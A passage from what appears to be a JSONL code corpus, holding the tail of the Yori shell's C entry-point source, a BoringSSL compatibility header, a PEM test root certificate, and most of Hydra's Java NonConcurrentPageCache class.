}\r\n\r\n    YoriLibCancelEnable();\r\n    YoriLibCancelIgnore();\r\n\r\n    //\r\n    //  Register any builtin aliases, including drive letter colon commands.\r\n    //\r\n\r\n    YoriShRegisterDefaultAliases();\r\n\r\n    AliasName[1] = ':';\r\n    AliasName[2] = '\\0';\r\n\r\n    YoriLibSPrintf(AliasValue, _T(\"chdir a:\"));\r\n\r\n    for (Letter = 'A'; Letter <= 'Z'; Letter++) {\r\n        AliasName[0] = Letter;\r\n        AliasValue[6] = Letter;\r\n\r\n        YoriShAddAliasLiteral(AliasName, AliasValue, TRUE);\r\n    }\r\n\r\n    //\r\n    //  Load aliases registered with conhost.\r\n    //\r\n\r\n    YoriShLoadSystemAliases(TRUE);\r\n    YoriShLoadSystemAliases(FALSE);\r\n\r\n    return TRUE;\r\n}\r\n\r\n/**\r\n Execute any system or user init scripts.\r\n\r\n @param IgnoreUserScripts If TRUE, system scripts are executed but user\r\n        scripts are not.  This is useful to ensure that a script executes\r\n        consistently in any user context.\r\n\r\n @return TRUE to indicate success.\r\n */\r\nBOOL\r\nYoriShExecuteInitScripts(\r\n    __in BOOLEAN IgnoreUserScripts\r\n    )\r\n{\r\n    YORI_STRING RelativeYoriInitName;\r\n\r\n    //\r\n    //  Execute all system YoriInit scripts.\r\n    //\r\n\r\n    YoriLibConstantString(&RelativeYoriInitName, _T(\"~AppDir\\\\YoriInit.d\\\\*\"));\r\n    YoriLibForEachFile(&RelativeYoriInitName, YORILIB_FILEENUM_RETURN_FILES, 0, YoriShExecuteYoriInit, NULL, NULL);\r\n    YoriLibConstantString(&RelativeYoriInitName, _T(\"~AppDir\\\\YoriInit*\"));\r\n    YoriLibForEachFile(&RelativeYoriInitName, YORILIB_FILEENUM_RETURN_FILES, 0, YoriShExecuteYoriInit, NULL, NULL);\r\n\r\n    //\r\n    //  Execute all user YoriInit scripts.\r\n    //\r\n\r\n    if (!IgnoreUserScripts) {\r\n        YoriLibConstantString(&RelativeYoriInitName, _T(\"~\\\\YoriInit.d\\\\*\"));\r\n        YoriLibForEachFile(&RelativeYoriInitName, YORILIB_FILEENUM_RETURN_FILES, 0, YoriShExecuteYoriInit, NULL, NULL);\r\n        YoriLibConstantString(&RelativeYoriInitName, _T(\"~\\\\YoriInit*\"));\r\n        YoriLibForEachFile(&RelativeYoriInitName, YORILIB_FILEENUM_RETURN_FILES, 0, YoriShExecuteYoriInit, NULL, NULL);\r\n    }\r\n\r\n    //\r\n    //  Reload any state next time it's requested.\r\n    //\r\n\r\n    YoriShGlobal.EnvironmentGeneration++;\r\n\r\n    return TRUE;\r\n}\r\n\r\n/**\r\n Parse the Yori command line and perform any requested actions.\r\n\r\n @param ArgC The number of arguments.\r\n\r\n @param ArgV The argument array.\r\n\r\n @param TerminateApp On successful completion, set to TRUE if the shell should\r\n        exit.\r\n\r\n @param ExitCode On successful completion, set to the exit code to return from\r\n        the application.  Only meaningful if TerminateApp is set to TRUE.\r\n\r\n @return TRUE to indicate success, FALSE to indicate failure.\r\n */\r\nBOOL\r\nYoriShParseArgs(\r\n    __in DWORD ArgC,\r\n    __in YORI_STRING ArgV[],\r\n    __out PBOOL TerminateApp,\r\n    __out PDWORD ExitCode\r\n    )\r\n{\r\n    BOOL ArgumentUnderstood;\r\n    DWORD StartArgToExec = 0;\r\n    DWORD i;\r\n    YORI_STRING Arg;\r\n    BOOLEAN ExecuteStartupScripts = TRUE;\r\n    BOOLEAN IgnoreUserScripts = FALSE;\r\n\r\n    *TerminateApp = FALSE;\r\n    *ExitCode = 0;\r\n\r\n    for (i = 1; i < ArgC; i++) {\r\n\r\n        ArgumentUnderstood = FALSE;\r\n\r\n        if (YoriLibIsCommandLineOption(&ArgV[i], &Arg)) {\r\n\r\n            if (YoriLibCompareStringWithLiteralInsensitive(&Arg, _T(\"?\")) == 0) {\r\n                YoriShHelp();\r\n                *TerminateApp = TRUE;\r\n                return EXIT_SUCCESS;\r\n            } else if (YoriLibCompareStringWithLiteralInsensitive(&Arg, _T(\"license\")) == 0) {\r\n                YoriLibDisplayMitLicense(_T(\"2017-2020\"));\r\n                *TerminateApp = TRUE;\r\n                return EXIT_SUCCESS;\r\n            } else if (YoriLibCompareStringWithLiteralInsensitive(&Arg, _T(\"c\")) == 0) {\r\n                if (ArgC > i + 1) {\r\n                    *TerminateApp = TRUE;\r\n                    StartArgToExec = i + 1;\r\n                    ArgumentUnderstood = TRUE;\r\n                    break;\r\n                }\r\n            } else if (YoriLibCompareStringWithLiteralInsensitive(&Arg, _T(\"k\")) == 0) {\r\n                if (ArgC > i + 1) {\r\n                    *TerminateApp = FALSE;\r\n                    StartArgToExec = i + 1;\r\n                    ArgumentUnderstood = TRUE;\r\n                    break;\r\n                }\r\n            } else if (YoriLibCompareStringWithLiteralInsensitive(&Arg, _T(\"nouser\")) == 0) {\r\n                IgnoreUserScripts = TRUE;\r\n                ArgumentUnderstood = TRUE;\r\n                break;\r\n            } else if (YoriLibCompareStringWithLiteralInsensitive(&Arg, _T(\"restart\")) == 0) {\r\n                if (ArgC > i + 1) {\r\n                    YoriShLoadSavedRestartState(&ArgV[i + 1]);\r\n                    YoriShDiscardSavedRestartState(&ArgV[i + 1]);\r\n                    i++;\r\n                    ExecuteStartupScripts = FALSE;\r\n                    ArgumentUnderstood = TRUE;\r\n                    break;\r\n                }\r\n            } else if (YoriLibCompareStringWithLiteralInsensitive(&Arg, _T(\"ss\")) == 0) {\r\n                if (ArgC > i + 1) {\r\n                    YoriShGlobal.RecursionDepth++;\r\n                    YoriShGlobal.SubShell = TRUE;\r\n                    ExecuteStartupScripts = FALSE;\r\n                    *TerminateApp = TRUE;\r\n                    StartArgToExec = i + 1;\r\n                    ArgumentUnderstood = TRUE;\r\n                    break;\r\n                }\r\n            }\r\n        }\r\n\r\n        if (!ArgumentUnderstood) {\r\n            YoriLibOutput(YORI_LIB_OUTPUT_STDERR, _T(\"Argument not understood, ignored: %y\\n\"), &ArgV[i]);\r\n        }\r\n    }\r\n\r\n    if (ExecuteStartupScripts) {\r\n        YoriShExecuteInitScripts(IgnoreUserScripts);\r\n    }\r\n\r\n    if (StartArgToExec > 0) {\r\n        YORI_STRING YsCmdToExec;\r\n\r\n        if (YoriLibBuildCmdlineFromArgcArgv(ArgC - StartArgToExec, &ArgV[StartArgToExec], TRUE, &YsCmdToExec)) {\r\n            if (YsCmdToExec.LengthInChars > 0) {\r\n                if (YoriShExecuteExpression(&YsCmdToExec)) {\r\n                    *ExitCode = YoriShGlobal.ErrorLevel;\r\n                } else {\r\n                    *ExitCode = EXIT_FAILURE;\r\n                }\r\n            }\r\n            YoriLibFreeStringContents(&YsCmdToExec);\r\n        }\r\n    }\r\n\r\n    return TRUE;\r\n}\r\n\r\n#if YORI_BUILD_ID\r\n/**\r\n The number of days before suggesting the user upgrade on a testing build.\r\n */\r\n#define YORI_SH_DAYS_BEFORE_WARNING (40)\r\n#else\r\n/**\r\n The number of days before suggesting the user upgrade on a release build.\r\n */\r\n#define YORI_SH_DAYS_BEFORE_WARNING (120)\r\n#endif\r\n\r\n/**\r\n If the user hasn't suppressed warning displays, display warnings for the age\r\n of the program and suboptimal architecture.\r\n\r\n @return TRUE to indicate success, FALSE to indicate failure.\r\n */\r\nBOOL\r\nYoriShDisplayWarnings()\r\n{\r\n    DWORD EnvVarLength;\r\n    YORI_STRING ModuleName;\r\n\r\n    EnvVarLength = YoriShGetEnvironmentVariableWithoutSubstitution(_T(\"YORINOWARNINGS\"), NULL, 0, NULL);\r\n    if (EnvVarLength > 0) {\r\n        YORI_STRING NoWarningsVar;\r\n        if (!YoriLibAllocateString(&NoWarningsVar, EnvVarLength + 1)) {\r\n            return FALSE;\r\n        }\r\n\r\n        NoWarningsVar.LengthInChars = YoriShGetEnvironmentVariableWithoutSubstitution(_T(\"YORINOWARNINGS\"), NoWarningsVar.StartOfString, NoWarningsVar.LengthAllocated, NULL);\r\n        if (EnvVarLength < NoWarningsVar.LengthAllocated &&\r\n            YoriLibCompareStringWithLiteral(&NoWarningsVar, _T(\"1\")) == 0) {\r\n\r\n            YoriLibFreeStringContents(&NoWarningsVar);\r\n            return TRUE;\r\n        }\r\n        YoriLibFreeStringContents(&NoWarningsVar);\r\n    }\r\n\r\n    //\r\n    //  Unlike most other Win32 APIs, this one has no way to indicate\r\n    //  how much space it needs.  We can be wasteful here though, since\r\n    //  it'll be freed immediately.\r\n    //\r\n\r\n    if (!YoriLibAllocateString(&ModuleName, 32768)) {\r\n        return FALSE;\r\n    }\r\n\r\n    ModuleName.LengthInChars = GetModuleFileName(NULL, ModuleName.StartOfString, ModuleName.LengthAllocated);\r\n    if (ModuleName.LengthInChars > 0 && ModuleName.LengthInChars < ModuleName.LengthAllocated) {\r\n        HANDLE ExeHandle;\r\n\r\n        ExeHandle = CreateFile(ModuleName.StartOfString,\r\n                               FILE_READ_ATTRIBUTES,\r\n                               FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\r\n                               NULL,\r\n                               OPEN_EXISTING,\r\n                               FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS,\r\n                               NULL);\r\n        if (ExeHandle != INVALID_HANDLE_VALUE) {\r\n            FILETIME CreationTime;\r\n            FILETIME AccessTime;\r\n            FILETIME WriteTime;\r\n            SYSTEMTIME Now;\r\n            FILETIME FtNow;\r\n            LARGE_INTEGER liWriteTime;\r\n            LARGE_INTEGER liNow;\r\n\r\n            GetFileTime(ExeHandle, &CreationTime, &AccessTime, &WriteTime);\r\n            GetSystemTime(&Now);\r\n            SystemTimeToFileTime(&Now, &FtNow);\r\n            liNow.LowPart = FtNow.dwLowDateTime;\r\n            liNow.HighPart = FtNow.dwHighDateTime;\r\n            liWriteTime.LowPart = WriteTime.dwLowDateTime;\r\n            liWriteTime.HighPart = WriteTime.dwHighDateTime;\r\n\r\n            liNow.QuadPart = liNow.QuadPart / (10 * 1000 * 1000);\r\n            liNow.QuadPart = liNow.QuadPart / (60 * 60 * 24);\r\n            liWriteTime.QuadPart = liWriteTime.QuadPart / (10 * 1000 * 1000);\r\n            liWriteTime.QuadPart = liWriteTime.QuadPart / (60 * 60 * 24);\r\n\r\n            if (liNow.QuadPart > liWriteTime.QuadPart &&\r\n                liWriteTime.QuadPart + YORI_SH_DAYS_BEFORE_WARNING < liNow.QuadPart) {\r\n\r\n                DWORD DaysOld;\r\n                DWORD UnitToDisplay;\r\n                LPTSTR UnitLabel;\r\n\r\n                DaysOld = (DWORD)(liNow.QuadPart - liWriteTime.QuadPart);\r\n                if (DaysOld > 2 * 365) {\r\n                    UnitToDisplay = DaysOld / 365;\r\n                    UnitLabel = _T(\"years\");\r\n                } else if (DaysOld > 3 * 30) {\r\n                    UnitToDisplay = DaysOld / 30;\r\n                    UnitLabel = _T(\"months\");\r\n                } else {\r\n                    UnitToDisplay = DaysOld;\r\n                    UnitLabel = _T(\"days\");\r\n                }\r\n\r\n                YoriLibOutput(YORI_LIB_OUTPUT_STDOUT,\r\n                              _T(\"Warning: This build of Yori is %i %s old.  Run ypm -u to upgrade.\\n\"),\r\n                              UnitToDisplay,\r\n                              UnitLabel);\r\n            }\r\n        }\r\n    }\r\n\r\n    if (DllKernel32.pIsWow64Process != NULL) {\r\n        BOOL IsWow = FALSE;\r\n        if (DllKernel32.pIsWow64Process(GetCurrentProcess(), &IsWow) && IsWow) {\r\n            YoriLibOutput(YORI_LIB_OUTPUT_STDOUT, _T(\"Warning: This a 32 bit version of Yori on a 64 bit system.\\n   Run 'ypm -a amd64 -u' to switch to the 64 bit version.\\n\"));\r\n        }\r\n    }\r\n\r\n    YoriLibFreeStringContents(&ModuleName);\r\n    return TRUE;\r\n}\r\n\r\n\r\n/**\r\n Reset the console after one process has finished.\r\n */\r\nVOID\r\nYoriShPostCommand()\r\n{\r\n    CONSOLE_SCREEN_BUFFER_INFO ScreenInfo;\r\n    HANDLE ConsoleHandle;\r\n    BOOL ConsoleMode;\r\n\r\n    //\r\n    //  This will only do anything if this process has already set the state\r\n    //  previously.\r\n    //\r\n\r\n    if (YoriShGlobal.ErrorLevel == 0) {\r\n        YoriShSetWindowState(YORI_SH_TASK_SUCCESS);\r\n    } else {\r\n        YoriShSetWindowState(YORI_SH_TASK_FAILED);\r\n    }\r\n\r\n    ConsoleHandle = GetStdHandle(STD_OUTPUT_HANDLE);\r\n\r\n    ConsoleMode = GetConsoleScreenBufferInfo(ConsoleHandle, &ScreenInfo);\r\n    if (ConsoleMode)  {\r\n\r\n        //\r\n        //  Old versions will fail and ignore any call that contains a flag\r\n        //  they don't understand, so attempt a lowest common denominator\r\n        //  setting and try to upgrade it, which might fail.\r\n        //\r\n\r\n        SetConsoleMode(ConsoleHandle, ENABLE_PROCESSED_OUTPUT | ENABLE_WRAP_AT_EOL_OUTPUT);\r\n        SetConsoleMode(ConsoleHandle, ENABLE_PROCESSED_OUTPUT | ENABLE_WRAP_AT_EOL_OUTPUT | ENABLE_VIRTUAL_TERMINAL_PROCESSING);\r\n\r\n        YoriLibOutput(YORI_LIB_OUTPUT_STDOUT, _T(\"%c[0m\"), 27);\r\n        if (ScreenInfo.srWindow.Left > 0) {\r\n            SHORT CharsToMoveLeft;\r\n            CharsToMoveLeft = ScreenInfo.srWindow.Left;\r\n            ScreenInfo.srWindow.Left = 0;\r\n            ScreenInfo.srWindow.Right = (SHORT)(ScreenInfo.srWindow.Right - CharsToMoveLeft);\r\n            SetConsoleWindowInfo(ConsoleHandle, TRUE, &ScreenInfo.srWindow);\r\n        }\r\n        if (ScreenInfo.dwCursorPosition.X != 0) {\r\n            YoriLibOutput(YORI_LIB_OUTPUT_STDOUT, _T(\"\\n\"));\r\n        }\r\n\r\n    } else {\r\n\r\n        //\r\n        //  If output isn't to a console, we have no way to know if a\r\n        //  newline is needed, so just output one unconditionally.  This\r\n        //  is what CMD always does, ensuring that if you execute any\r\n        //  command there's a blank line following.\r\n        //\r\n\r\n        YoriLibOutput(YORI_LIB_OUTPUT_STDOUT, _T(\"\\n\"));\r\n    }\r\n}\r\n\r\n/**\r\n Prepare the console for entry of the next command.\r\n\r\n @param EnableVt If TRUE, VT processing should be enabled if the console\r\n        supports it.  In general Yori leaves this enabled for the benefit of\r\n        child processes, but it is disabled when displaying the prompt.  The\r\n        prompt is written by the shell process, and depends on moving the\r\n        cursor to the next line after the final cell in a line is written,\r\n        which is not the behavior that Windows VT support provides.  Note\r\n        this behavior isn't a problem for programs that continue to output -\r\n        it's a problem for programs that output and then wait for input.\r\n */\r\nVOID\r\nYoriShPreCommand(\r\n    __in BOOLEAN EnableVt\r\n    )\r\n{\r\n    HANDLE ConsoleHandle;\r\n\r\n    YoriShCleanupRestartSaveThreadIfCompleted();\r\n    YoriLibCancelEnable();\r\n    YoriLibCancelIgnore();\r\n    YoriLibCancelReset();\r\n\r\n    //\r\n    //  Old versions will fail and ignore any call that contains a flag\r\n    //  they don't understand, so attempt a lowest common denominator\r\n    //  setting and try to upgrade it, which might fail.\r\n    //\r\n\r\n    ConsoleHandle = GetStdHandle(STD_OUTPUT_HANDLE);\r\n    SetConsoleMode(ConsoleHandle, ENABLE_PROCESSED_OUTPUT | ENABLE_WRAP_AT_EOL_OUTPUT);\r\n    if (EnableVt) {\r\n        SetConsoleMode(ConsoleHandle, ENABLE_PROCESSED_OUTPUT | ENABLE_WRAP_AT_EOL_OUTPUT | ENABLE_VIRTUAL_TERMINAL_PROCESSING);\r\n    }\r\n}\r\n\r\n/**\r\n The entrypoint function for Yori.\r\n\r\n @param ArgC Count of the number of arguments.\r\n\r\n @param ArgV An array of arguments.\r\n\r\n @return Exit code for the application.\r\n */\r\nDWORD\r\nymain (\r\n    __in DWORD ArgC,\r\n    __in YORI_STRING ArgV[]\r\n    )\r\n{\r\n    YORI_STRING CurrentExpression;\r\n    BOOL TerminateApp = FALSE;\r\n\r\n    YoriShInit();\r\n    YoriShParseArgs(ArgC, ArgV, &TerminateApp, &YoriShGlobal.ExitProcessExitCode);\r\n\r\n    if (!TerminateApp) {\r\n\r\n        YoriShDisplayWarnings();\r\n        YoriShLoadHistoryFromFile();\r\n\r\n        while(TRUE) {\r\n\r\n            YoriShPostCommand();\r\n            YoriShScanJobsReportCompletion(FALSE);\r\n            YoriShScanProcessBuffersForTeardown(FALSE);\r\n            if (YoriShGlobal.ExitProcess) {\r\n                break;\r\n            }\r\n\r\n            //\r\n            //  Don't enable VT processing while displaying the prompt.  This\r\n            //  behavior is subtly different in that when it displays in the\r\n            //  final cell of a line it doesn't move the cursor to the next\r\n            //  line.  For prompts this is broken because it leaves user\r\n            //  input overwriting the final character of the prompt.\r\n            //\r\n\r\n            YoriShPreCommand(FALSE);\r\n            YoriShDisplayPrompt();\r\n            YoriShPreCommand(FALSE);\r\n\r\n            if (!YoriShGetExpression(&CurrentExpression)) {\r\n                break;\r\n            }\r\n            if (YoriShGlobal.ExitProcess) {\r\n                break;\r\n            }\r\n            YoriShPreCommand(TRUE);\r\n            YoriShExecPreCommandString();\r\n            if (CurrentExpression.LengthInChars > 0) {\r\n                YoriShExecuteExpression(&CurrentExpression);\r\n            }\r\n            YoriLibFreeStringContents(&CurrentExpression);\r\n        }\r\n\r\n        YoriShSaveHistoryToFile();\r\n    }\r\n\r\n    YoriShScanProcessBuffersForTeardown(TRUE);\r\n    YoriShScanJobsReportCompletion(TRUE);\r\n    YoriShClearAllHistory();\r\n    YoriShClearAllAliases();\r\n    YoriShBuiltinUnregisterAll();\r\n    YoriShDiscardSavedRestartState(NULL);\r\n    YoriShCleanupInputContext();\r\n    YoriLibFreeStringContents(&YoriShGlobal.PreCmdVariable);\r\n    YoriLibFreeStringContents(&YoriShGlobal.PostCmdVariable);\r\n    YoriLibFreeStringContents(&YoriShGlobal.PromptVariable);\r\n    YoriLibFreeStringContents(&YoriShGlobal.TitleVariable);\r\n    YoriLibFreeStringContents(&YoriShGlobal.NextCommand);\r\n    YoriLibFreeStringContents(&YoriShGlobal.YankBuffer);\r\n\r\n    return YoriShGlobal.ExitProcessExitCode;\r\n}\r\n\r\n// vim:sw=4:ts=4:et:\r\n"}
+{"text": "/* Copyright (c) 2016, Google Inc.\n *\n * Permission to use, copy, modify, and/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY\n * SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION\n * OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN\n * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */\n\n/* This header is provided in order to make compiling against code that expects\n   OpenSSL easier. */\n\n#include \"asn1.h\"\n"}
+{"text": "-----BEGIN CERTIFICATE-----\nMIIC+jCCAeKgAwIBAgIBATANBgkqhkiG9w0BAQsFADAWMRQwEgYDVQQDEwtUZXN0\nIHJvb3QgMjAeFw0wMTAxMDEwMDAwMDBaFw0zMDEyMzEyMzU5NTlaMBYxFDASBgNV\nBAMTC1Rlc3Qgcm9vdCAyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA\nmTX2sHY42Ord9gWyB6GcdlLjjE+4zBJ1BoDpMnvJ89niMTuZTq1ViMp/B6RuTH+2\nYF3+riZYQDH9yM/8rgvAUIvK9STaq19Zrm0mnfQUo9yKdkfoJ+XvWuvK6f+NkAMg\nxfhAD6eSupigTvov/w2IT8rS0dxo4KF6hKBL2aYlXhiEyi/NmsEPZWvVh+qk3L/Q\nGSwpgC+DhVoQzFRofUdK9O9MkgR675iftaFDvyi7F0fxrSLfB/Wy4cgRYzIW6pyN\n2sXWivKdLI3bgB01ffdbO17ZAGILK1whO29/bX6hbH09Y/H7jR2vjy+KP9N0PEa3\n7SBymlokB3A8wq/LWPYPeQIDAQABo1MwUTAPBgNVHRMECDAGAQEBAgEAMB0GA1Ud\nDgQWBBSOBd1fH00Y9r5S8cELj/9IT4BGlDAfBgNVHSMEGDAWgBSOBd1fH00Y9r5S\n8cELj/9IT4BGlDANBgkqhkiG9w0BAQsFAAOCAQEAFEY2StppaPzOgG6vEvPJr//+\nNWY1jKcBB3cT+zWJW54+BexDjyaBRnBIPvRLDG8PAlhlYr9v/P6JCjBSuhYorFLG\nP4ZhD+akuMvn6yF7nsyG20LHPwvE7/jye7+zSO3hhyqCg7N7M7O17exo/agw/iUI\nDYUuUv1ZJlZvPB2kmZMYa78g0P2ynyKpu4hdbstJzxwA4aQDXGQxcQNtv+3ZCdC2\nTI4w0jodkjqdq/4y0McpkEvYL3/LaQElLaHr8CQo7xYEzsjv+cnzojCO/ilXU+Rl\nsz940Q4njAJqlpfiJ44aFytjp96uN4YVpViFCvRz//9uyQY9kuA/8kKwJuO3qw==\n-----END CERTIFICATE-----\n"}
+{"text": "/*\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.addthis.hydra.store.nonconcurrent;\n\nimport com.addthis.codec.codables.BytesCodable;\nimport com.addthis.hydra.store.common.AbstractPageCache;\nimport com.addthis.hydra.store.common.ExternalMode;\nimport com.addthis.hydra.store.common.Page;\nimport com.addthis.hydra.store.common.PageFactory;\nimport com.addthis.hydra.store.db.CloseOperation;\nimport com.addthis.hydra.store.kv.ByteStore;\nimport com.addthis.hydra.store.kv.KeyCoder;\nimport com.addthis.hydra.store.util.MetricsUtil;\nimport com.google.common.annotations.VisibleForTesting;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Map;\n\n/**\n * The {@link NonConcurrentPageCache} provides a paging data cache but does not offer\n * any concurrency protection.  Clients that use this cache should either be single threaded\n * or implement their own locking mechanisms.\n *\n * Evictions required to page new data into the cache happen synchronously with the operation\n * that requested new data from the backing store.\n *\n * @param  the key used to get/put values onto pages maintained by the cache\n * @param  the value which must extend {@link BytesCodable}\n */\npublic class NonConcurrentPageCache extends AbstractPageCache {\n\n    private static final Logger log = LoggerFactory.getLogger(NonConcurrentPageCache.class);\n\n\n    /**\n     * The Builder pattern allows many different variations of a class to\n     * be instantiated without the pitfalls of complex constructors. See\n     * ''Effective Java, Second Edition.'' Item 2 - \"Consider a builder when\n     * faced with many constructor parameters.\"\n     */\n    public static class Builder {\n\n        // Required parameters\n        protected final int maxPageSize;\n        protected final ByteStore externalStore;\n        protected final KeyCoder keyCoder;\n\n        // Optional parameters - initialized to default values;\n        protected int maxPages = defaultMaxPages;\n        protected PageFactory pageFactory = NonConcurrentPage.NonConcurrentPageFactory.singleton;\n\n        public Builder(KeyCoder keyCoder, ByteStore store, int maxPageSize) {\n            this.externalStore = store;\n            this.maxPageSize = maxPageSize;\n            this.keyCoder = keyCoder;\n        }\n\n        @SuppressWarnings(\"unused\")\n        public Builder maxPages(int val) {\n            maxPages = val;\n            return this;\n        }\n\n        @SuppressWarnings(\"unused\")\n        public Builder pageFactory(PageFactory factory) {\n            pageFactory = factory;\n            return this;\n        }\n\n        public NonConcurrentPageCache build() {\n            return new NonConcurrentPageCache<>(keyCoder, externalStore, maxPageSize,\n                    maxPages, pageFactory);\n        }\n\n    }\n\n    public NonConcurrentPageCache(KeyCoder keyCoder, ByteStore externalStore, int maxPageSize,\n                                  int maxPages, PageFactory pageFactory) {\n        super(keyCoder, externalStore, pageFactory, maxPageSize, maxPages, false);\n\n        log.info(\"[init] ro=\" + isReadOnly() + \" maxPageSize=\" + maxPageSize +\n                \" maxPages=\" + maxPages + \" gztype=\" + NonConcurrentPage.gztype + \" gzlevel=\" +\n                NonConcurrentPage.gzlevel + \" gzbuf=\" + NonConcurrentPage.gzbuf + \" mem[page=\" + mem_page + \" type=NonConcurrentPageCache]\");\n\n    }\n\n    protected Page locatePage(K key) {\n        return locatePage(key, null);\n    }\n\n    @Override\n    public V remove(K key) {\n        return doRemove(key);\n    }\n\n    @Override\n    protected V doPut(K key, V value) {\n        V prev;\n\n        evictAsneeded();\n\n        Page page = locatePage(key);\n\n        prev = putIntoPage(page, key, value);\n\n        int prevMem = page.getMemoryEstimate();\n        page.updateMemoryEstimate();\n        updateMemoryEstimate(page.getMemoryEstimate() - prevMem);\n\n        if (page.splitCondition()) {\n            splitPage(page);\n        } else if (page.getState() == ExternalMode.DISK_MEMORY_IDENTICAL) {\n            page.setState(ExternalMode.DISK_MEMORY_DIRTY);\n        }\n\n        return prev;\n    }\n\n    /**\n     * evict pages until we have room for additional\n     * pages to enter the cache\n     */\n    private void evictAsneeded() {\n        while (mustEvictPage()) {\n            fixedNumberEviction(fixedNumberEvictions);\n        }\n    }\n\n    @Override\n    protected void doRemove(K start, K end) {\n        while (true) {\n            evictAsneeded();\n\n            Page page = locatePage(start);\n            int startOffset = binarySearch(page.keys(), start, comparator);\n            int endOffset = binarySearch(page.keys(), end, comparator);\n            int pageSize = page.size();\n\n            if (startOffset < 0) {\n                startOffset = ~startOffset;\n            }\n\n            if (endOffset < 0) {\n                endOffset = ~endOffset;\n            }\n\n\n            if (startOffset < endOffset) {\n                int memEstimate = page.getMemoryEstimate();\n                int length = (endOffset - startOffset);\n                for (int i = 0; i < length; i++) {\n                    page.keys().remove(startOffset);\n                    page.values().remove(startOffset);\n                    page.rawValues().remove(startOffset);\n                }\n                page.setSize(page.size() - length);\n\n                if (page.getState() == ExternalMode.DISK_MEMORY_IDENTICAL) {\n                    page.setState(ExternalMode.DISK_MEMORY_DIRTY);\n                }\n\n                page.updateMemoryEstimate();\n                updateMemoryEstimate(page.getMemoryEstimate() - memEstimate);\n            }\n\n            if (page.size() == 0 && !page.getFirstKey().equals(negInf)) {\n                K targetKey = page.getFirstKey();\n                deletePage(targetKey);\n                continue;\n            } else if (endOffset == pageSize) {\n                byte[] higherKeyEncoded = externalStore.higherKey(keyCoder.keyEncode(page.getFirstKey()));\n                if (higherKeyEncoded != null) {\n                    start = keyCoder.keyDecode(higherKeyEncoded);\n                    continue;\n                }\n            }\n            break;\n        }\n    }\n\n    @Override\n    protected V doRemove(K key) {\n        // even though we are removing data from the cache we may\n        // need to page new data into the cache to perform that removal\n        evictAsneeded();\n\n        Page page = locatePage(key);\n        if (page.size() == 0) {\n            if (!page.getFirstKey().equals(negInf)) {\n                K targetKey = page.getFirstKey();\n                deletePage(targetKey);\n            }\n\n            return null;\n        }\n        int offset = binarySearch(page.keys(), key, comparator);\n\n        // An existing (key, value) pair is found.\n        if (offset >= 0) {\n            int memEstimate = page.getMemoryEstimate();\n\n            page.fetchValue(offset);\n\n            page.keys().remove(offset);\n            page.rawValues().remove(offset);\n            V prev = page.values().remove(offset);\n\n            page.setSize(page.size() - 1);\n\n            if (page.getState() == ExternalMode.DISK_MEMORY_IDENTICAL) {\n                page.setState(ExternalMode.DISK_MEMORY_DIRTY);\n            }\n\n            page.updateMemoryEstimate();\n            updateMemoryEstimate(page.getMemoryEstimate() - memEstimate);\n\n            if (page.size() == 0 && !page.getFirstKey().equals(negInf)) {\n                K targetKey = page.getFirstKey();\n                deletePage(targetKey);\n            }\n\n            return prev;\n        } else {\n            return null;\n        }\n\n    }\n\n    /**\n     * Close without scheduling any unfinished background tasks.\n     * The background eviction thread(s) are shut down regardless of\n     * whether the skiplist exceeds its heap capacity.\n     */\n    @Override\n    public void close() {\n        doClose(false, CloseOperation.NONE);\n    }\n\n    /**\n     * Close the cache.\n     *\n     * @param cleanLog  if true then wait for the BerkeleyDB clean thread to finish.\n     * @param operation optionally test or repair the berkeleyDB.\n     * @return status code. A status code of 0 indicates success.\n     */\n    @Override\n    public int close(boolean cleanLog, CloseOperation operation) {\n        return doClose(cleanLog, operation);\n    }\n\n\n    @VisibleForTesting\n    protected int doClose(boolean cleanLog, CloseOperation operation) {\n        int status = 0;\n        if (!shutdownGuard.getAndSet(true)) {\n\n            pushAllPagesToDisk();\n            if (operation != null && operation.testIntegrity()) {\n                int failedPages = testIntegrity(operation.repairIntegrity());\n                status = (failedPages > 0) ? 1 : 0;\n            }\n            closeExternalStore(cleanLog);\n            assert (status == 0);\n            log.info(\"pages: encoded=\" + numPagesEncoded.get() +\n                    \" decoded=\" + numPagesDecoded.get() +\n                    \" split=\" + numPagesSplit.get());\n            if (trackEncodingByteUsage) {\n                log.info(MetricsUtil.histogramToString(\"encodeFirstKeySize\", metrics.encodeFirstKeySize));\n                log.info(MetricsUtil.histogramToString(\"encodeNextFirstKeySize\", metrics.encodeNextFirstKeySize));\n                log.info(MetricsUtil.histogramToString(\"encodeKeySize\", metrics.encodeKeySize));\n                log.info(MetricsUtil.histogramToString(\"encodeValueSize\", metrics.encodeValueSize));\n                log.info(MetricsUtil.histogramToString(\"encodePageSize (final)\",\n                        metrics.encodePageSize));\n                log.info(MetricsUtil.histogramToString(\"numberKeysPerPage\",\n                        metrics.numberKeysPerPage));\n            }\n        }\n        return status;\n    }\n\n    /**\n     * Return true if the page was evicted from the cache\n     *\n     * @return true if the page was evicted from the cache\n     */\n    protected boolean removePageFromCache(K targetKey) {\n        assert (!targetKey.equals(negInf));\n\n        Page 